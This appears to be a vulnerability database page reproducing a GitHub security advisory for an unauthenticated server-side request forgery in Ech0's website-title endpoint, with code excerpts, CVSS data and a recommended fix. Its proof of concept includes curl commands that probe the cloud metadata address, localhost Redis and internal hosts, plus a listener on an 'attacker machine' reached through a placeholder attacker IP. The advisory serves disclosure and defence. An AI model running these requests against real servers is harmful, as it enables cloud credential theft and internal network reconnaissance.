Vulnerability-Lookup

GHSA-CQGF-F4X7-G6WC

Vulnerability from github – Published: 2026-04-03 03:33 – Updated: 2026-04-06 23:41

Summary

Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata

Details

Summary

The GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction.

Details

The vulnerability exists in the interaction between four components:

1. Route registration — no authentication (internal/router/common.go:11):

appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle())

The PublicRouterGroup is created at internal/router/router.go:34 as r.Group("/api") with no auth middleware attached (unlike AuthRouterGroup which uses JWTAuthMiddleware).

2. Handler — no input validation (internal/handler/common/common.go:106-127):

func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {
    return res.Execute(func(ctx *gin.Context) res.Response {
        var dto commonModel.GetWebsiteTitleDto
        if err := ctx.ShouldBindQuery(&dto); err != nil { ... }
        title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)
        ...
    })
}

The DTO (internal/model/common/common_dto.go:155-156) only enforces binding:"required" — no URL scheme or host validation.

3. Service — TrimURL is cosmetic (internal/service/common/common.go:122-125):

func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
    websiteURL = httpUtil.TrimURL(websiteURL)
    body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
    ...
}

TrimURL (internal/util/http/http.go:16-26) only calls TrimSpace, TrimPrefix("/"), and TrimSuffix("/"). No SSRF protections.

4. HTTP client — unrestricted outbound request (internal/util/http/http.go:53-84):

client := &http.Client{
    Timeout: clientTimeout,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{
            InsecureSkipVerify: true,
        },
    },
}
req, err := http.NewRequest(method, url, nil)
...
resp, err := client.Do(req)

The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.

The response body is parsed for <title> tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.

PoC

Step 1: Probe cloud metadata endpoint (AWS)

curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'

If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.

Step 2: Probe internal localhost services

curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'

Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.

Step 3: Exfiltrate data from internal web services with HTML title tags

curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'

If the internal service returns an HTML page with a <title> tag, its content is returned to the attacker.

Step 4: Confirm with a controlled external server

# On attacker machine:
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type','text/html')
        self.end_headers()
        self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &

# From any client:
curl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/'

Expected response contains "data":"SSRF-CONFIRMED", proving the server made an outbound request to the attacker-controlled URL.

Impact

Cloud credential theft: An attacker can reach cloud metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data.
Internal network reconnaissance: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.
Localhost service interaction: Access to services bound to 127.0.0.1 (databases, caches, admin panels) that rely on network-level isolation for security.
Firewall bypass: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.
Data exfiltration: Partial response content is leaked through the <title> tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.

The attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.

Recommended Fix

Add URL validation in GetWebsiteTitle to block requests to private/reserved IP ranges and restrict allowed schemes. In internal/service/common/common.go:

import (
    "net"
    "net/url"
)

func isPrivateIP(ip net.IP) bool {
    privateRanges := []string{
        "127.0.0.0/8",
        "10.0.0.0/8",
        "172.16.0.0/12",
        "192.168.0.0/16",
        "169.254.0.0/16",
        "::1/128",
        "fc00::/7",
        "fe80::/10",
    }
    for _, cidr := range privateRanges {
        _, network, _ := net.ParseCIDR(cidr)
        if network.Contains(ip) {
            return true
        }
    }
    return false
}

func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
    websiteURL = httpUtil.TrimURL(websiteURL)

    // Validate URL scheme
    parsed, err := url.Parse(websiteURL)
    if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
        return "", errors.New("only http and https URLs are allowed")
    }

    // Resolve hostname and block private IPs
    host := parsed.Hostname()
    ips, err := net.LookupIP(host)
    if err != nil {
        return "", fmt.Errorf("failed to resolve hostname: %w", err)
    }
    for _, ip := range ips {
        if isPrivateIP(ip) {
            return "", errors.New("requests to private/internal addresses are not allowed")
        }
    }

    body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
    // ... rest unchanged
}

Additionally, consider: 1. Removing InsecureSkipVerify: true from SendRequest in internal/util/http/http.go:69 2. Disabling redirect following in the HTTP client (CheckRedirect returning http.ErrUseLastResponse) or re-validating the target IP after each redirect to prevent DNS rebinding 3. Adding rate limiting to this endpoint

Severity ?

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.8-0.20260401031029-4ca56fea5ba4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:33:00Z",
    "nvd_published_at": "2026-04-06T17:17:13Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `GET /api/website/title` endpoint accepts an arbitrary URL via the `website_url` query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML `\u003ctitle\u003e` tag extraction.\n\n## Details\n\nThe vulnerability exists in the interaction between four components:\n\n**1. Route registration \u2014 no authentication** (`internal/router/common.go:11`):\n```go\nappRouterGroup.PublicRouterGroup.GET(\"/website/title\", h.CommonHandler.GetWebsiteTitle())\n```\nThe `PublicRouterGroup` is created at `internal/router/router.go:34` as `r.Group(\"/api\")` with no auth middleware attached (unlike `AuthRouterGroup` which uses `JWTAuthMiddleware`).\n\n**2. Handler \u2014 no input validation** (`internal/handler/common/common.go:106-127`):\n```go\nfunc (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {\n    return res.Execute(func(ctx *gin.Context) res.Response {\n        var dto commonModel.GetWebsiteTitleDto\n        if err := ctx.ShouldBindQuery(\u0026dto); err != nil { ... }\n        title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)\n        ...\n    })\n}\n```\nThe DTO (`internal/model/common/common_dto.go:155-156`) only enforces `binding:\"required\"` \u2014 no URL scheme or host validation.\n\n**3. Service \u2014 TrimURL is cosmetic** (`internal/service/common/common.go:122-125`):\n```go\nfunc (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {\n    websiteURL = httpUtil.TrimURL(websiteURL)\n    body, err := httpUtil.SendRequest(websiteURL, \"GET\", httpUtil.Header{}, 10*time.Second)\n    ...\n}\n```\n`TrimURL` (`internal/util/http/http.go:16-26`) only calls `TrimSpace`, `TrimPrefix(\"/\")`, and `TrimSuffix(\"/\")`. No SSRF protections.\n\n**4. HTTP client \u2014 unrestricted outbound request** (`internal/util/http/http.go:53-84`):\n```go\nclient := \u0026http.Client{\n    Timeout: clientTimeout,\n    Transport: \u0026http.Transport{\n        TLSClientConfig: \u0026tls.Config{\n            InsecureSkipVerify: true,\n        },\n    },\n}\nreq, err := http.NewRequest(method, url, nil)\n...\nresp, err := client.Do(req)\n```\nThe client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.\n\nThe response body is parsed for `\u003ctitle\u003e` tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.\n\n## PoC\n\n**Step 1: Probe cloud metadata endpoint (AWS)**\n```bash\ncurl -s \u0027http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/\u0027\n```\nIf the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.\n\n**Step 2: Probe internal localhost services**\n```bash\ncurl -s \u0027http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/\u0027\n```\nProbes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.\n\n**Step 3: Exfiltrate data from internal web services with HTML title tags**\n```bash\ncurl -s \u0027http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/\u0027\n```\nIf the internal service returns an HTML page with a `\u003ctitle\u003e` tag, its content is returned to the attacker.\n\n**Step 4: Confirm with a controlled external server**\n```bash\n# On attacker machine:\npython3 -c \"from http.server import HTTPServer, BaseHTTPRequestHandler\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027,\u0027text/html\u0027)\n        self.end_headers()\n        self.wfile.write(b\u0027\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eSSRF-CONFIRMED\u003c/title\u003e\u003c/head\u003e\u003c/html\u003e\u0027)\nHTTPServer((\u00270.0.0.0\u0027,9999),H).serve_forever()\" \u0026\n\n# From any client:\ncurl -s \u0027http://\u003cech0-host\u003e:8080/api/website/title?website_url=http://\u003cattacker-ip\u003e:9999/\u0027\n```\nExpected response contains `\"data\":\"SSRF-CONFIRMED\"`, proving the server made an outbound request to the attacker-controlled URL.\n\n## Impact\n\n- **Cloud credential theft**: An attacker can reach cloud metadata services (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data.\n- **Internal network reconnaissance**: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.\n- **Localhost service interaction**: Access to services bound to `127.0.0.1` (databases, caches, admin panels) that rely on network-level isolation for security.\n- **Firewall bypass**: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.\n- **Data exfiltration**: Partial response content is leaked through the `\u003ctitle\u003e` tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.\n\nThe attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.\n\n## Recommended Fix\n\nAdd URL validation in `GetWebsiteTitle` to block requests to private/reserved IP ranges and restrict allowed schemes. In `internal/service/common/common.go`:\n\n```go\nimport (\n    \"net\"\n    \"net/url\"\n)\n\nfunc isPrivateIP(ip net.IP) bool {\n    privateRanges := []string{\n        \"127.0.0.0/8\",\n        \"10.0.0.0/8\",\n        \"172.16.0.0/12\",\n        \"192.168.0.0/16\",\n        \"169.254.0.0/16\",\n        \"::1/128\",\n        \"fc00::/7\",\n        \"fe80::/10\",\n    }\n    for _, cidr := range privateRanges {\n        _, network, _ := net.ParseCIDR(cidr)\n        if network.Contains(ip) {\n            return true\n        }\n    }\n    return false\n}\n\nfunc (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {\n    websiteURL = httpUtil.TrimURL(websiteURL)\n\n    // Validate URL scheme\n    parsed, err := url.Parse(websiteURL)\n    if err != nil || (parsed.Scheme != \"http\" \u0026\u0026 parsed.Scheme != \"https\") {\n        return \"\", errors.New(\"only http and https URLs are allowed\")\n    }\n\n    // Resolve hostname and block private IPs\n    host := parsed.Hostname()\n    ips, err := net.LookupIP(host)\n    if err != nil {\n        return \"\", fmt.Errorf(\"failed to resolve hostname: %w\", err)\n    }\n    for _, ip := range ips {\n        if isPrivateIP(ip) {\n            return \"\", errors.New(\"requests to private/internal addresses are not allowed\")\n        }\n    }\n\n    body, err := httpUtil.SendRequest(websiteURL, \"GET\", httpUtil.Header{}, 10*time.Second)\n    // ... rest unchanged\n}\n```\n\nAdditionally, consider:\n1. Removing `InsecureSkipVerify: true` from `SendRequest` in `internal/util/http/http.go:69`\n2. Disabling redirect following in the HTTP client (`CheckRedirect` returning `http.ErrUseLastResponse`) or re-validating the target IP after each redirect to prevent DNS rebinding\n3. Adding rate limiting to this endpoint",
  "id": "GHSA-cqgf-f4x7-g6wc",
  "modified": "2026-04-06T23:41:08Z",
  "published": "2026-04-03T03:33:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35037"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata"
}

CVE-2026-35037 (GCVE-0-2026-35037)

Vulnerability from cvelistv5 – Published: 2026-04-06 16:56 – Updated: 2026-04-06 18:48

Title

Ech0 affected by unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata

Summary

Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to 4.2.8, the GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction This vulnerability is fixed in 4.2.8.

Severity ?

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	lin-snow	Ech0	Affected: < 4.2.8

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-CQGF-F4X7-G6WC

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-35037 (GCVE-0-2026-35037)

Tags

Sightings

Nomenclature